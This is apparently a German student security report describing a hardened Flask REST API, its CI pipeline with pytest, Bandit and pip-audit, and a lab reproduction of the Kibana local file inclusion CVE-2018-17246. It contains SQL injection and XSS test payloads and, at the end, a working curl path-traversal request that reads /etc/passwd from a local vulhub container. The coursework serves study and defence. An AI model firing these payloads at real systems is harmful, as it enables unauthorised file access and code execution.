
HDU IS Work 1 – Sichere REST-API (Flask) mit CI/CD (pytest + bandit + pip-audit) und CVE-2018-17246-Analyse
Sichere REST-API in Python/Flask, CI/CD über GitHub Actions (SAST + SCA + automatisierte Tests) und eine vollständige Analyse einer echten CVE, die in einer Docker-Umgebung reproduziert wurde (Kibana LFI, CVE-2018-17246).
Name: Guhaotian HDU-Nummer: 23320209
https://github.com/ght657/work1-secure-api (öffentlich)POST /auth/login — stellt nach Überprüfung des Passwort-Hashes ein signiertes JWT aus.GET /api/data — durch JWT geschützt (Bearer-Token); gibt Datensätze des aktuellen Benutzers zurück.GET /api/users/search?q= — geschützter Lese-Endpunkt mit parametergebundener SQL-Abfrage.POST /api/posts (JWT-geschützt) demonstriert den Schutz gegen gespeichertes XSS / Output-Escaping.Workflow-Datei: .github/workflows/ci.yml, ausgelöst bei jedem Push auf main.
| Job | Tooling | Was er tut | Nachweis |
|---|---|---|---|
test | pytest 8 | führt die Testsuite mit 11 Tests aus | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | statische Analyse von app/, tests/ (JSON-Bericht als Artefakt hochgeladen) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | Audit der Abhängigkeiten (JSON-Bericht als Artefakt hochgeladen) | evidence/09_pip_audit_report.png |
Die Pipeline schlägt fehl, wenn ein Test fehlschlägt oder ein SAST/SCA-Befund bestehen bleibt, sodass eine rote Pipeline bedeutet, dass vor dem Merge ein Fix gepusht werden muss.
11 Tests, alle bestanden (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
Der Anwendungscode stammt von uns selbst, daher enthält ein erster Lauf naturgemäß kein Rauschen von Drittanbietern. Ergebnis: 0 Probleme:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit listet alle Abhängigkeiten mit bekannten CVEs auf; der erste Lauf ergab:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
19 Einträge insgesamt (Flask, PyJWT ×17, python-dotenv). Ich habe auf die korrigierten Versionen aktualisiert:
Flask 3.1.3, PyJWT 2.15.0 und python-dotenv entfernt (nur optionaler Konfigurationshelfer —
das korrigierte 1.2.2 erfordert Python ≥ 3.10, während die Audit-venv 3.9 ist).
Nach der Korrektur:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
Die API wurde mit curl gegen die klassischen Angriffe getestet. Screenshots in evidence/:
POST /auth/login mit username: "admin'--" liefert 401 Invalid credentials —
die Abfrage verwendet eine parametrisierte ORM-Abfrage gegen die gehashten Anmeldedaten, die injizierte
Payload bleibt Daten und wird niemals zu SQL.
GET /api/users/search?q=%' OR '1'='1 → die Zeichenkette wird als Parameter an
SELECT ... WHERE username LIKE ? gebunden (Wildcards escaped), sodass sie auf nichts passt und die API
eine leere Liste zurückgibt — kein Fehler und kein Dump der gesamten Tabelle.
POST /api/posts mit title: "<script>alert('xss')</script>"; der Server speichert die
Rohzeichenkette, escaped sie aber bei der Ausgabe (markupsafe.escape + jsonify), sodass die zurückgegebene
Payload <script>alert('xss')</script> lautet — ein Browser zeigt den Text an, führt ihn aber nicht
aus. (Die Reproduktion mit Browser-Rendering ist in evidence/06_xss_readback.png dargestellt.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + geschützte Daten (evidence/04_data_with_token.png)401 (Signaturprüfung mit HS256)401 (Ablauf nach 60 Minuten)Authorization: Bearer <token> verwendet
(evidence/10_jwt_structure.png zeigt die dreiteilige Struktur).Passwörter werden als bcrypt-Hashes (12 Runden) gespeichert und von keinem Endpoint zurückgegeben
(Test test_passwords_stored_as_bcrypt_hashes).
/etc/passwd), und — da die anfällige Route die Datei als
JS-Modul benötigt — falls ein beschreibbarer Pfad erreichbar ist (z. B. über eine andere Schwachstelle oder eine
erzeugte temporäre Datei), kann vom Angreifer kontrolliertes JS durch den Kibana-Prozess ausgeführt werden.GET /api/console/api_server?apis=../../../../../../etc/passwd — der Parameter apis
wird nach nur einer einfachen Pfadprüfung an require() übergeben, wodurch ..-Sequenzen
aus dem serverseitigen api-Verzeichnis ausbrechen und beliebige Dateien lesen/ausführen können.Ich verwende das öffentliche vulhub-Image (bereits veröffentlicht, als anfällig verifiziert):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — siehe
CVE-2018-17246/docker-compose.yml (Ordner mit demselben Namen in diesem Repo).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
Schritt 1 — den LFI auslösen (die Console-API akzeptiert einen apis-Pfad, der als Datei aufgelöst wird):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
Die Antwort ist 500 (die Datei ist kein gültiges JS-Modul), aber der Dateiinhalt erscheint im
Server-Log — Kibana liest die Datei und versucht, sie mit require() zu laden:
docker compose logs kibana | grep -i "passwd\|root:x"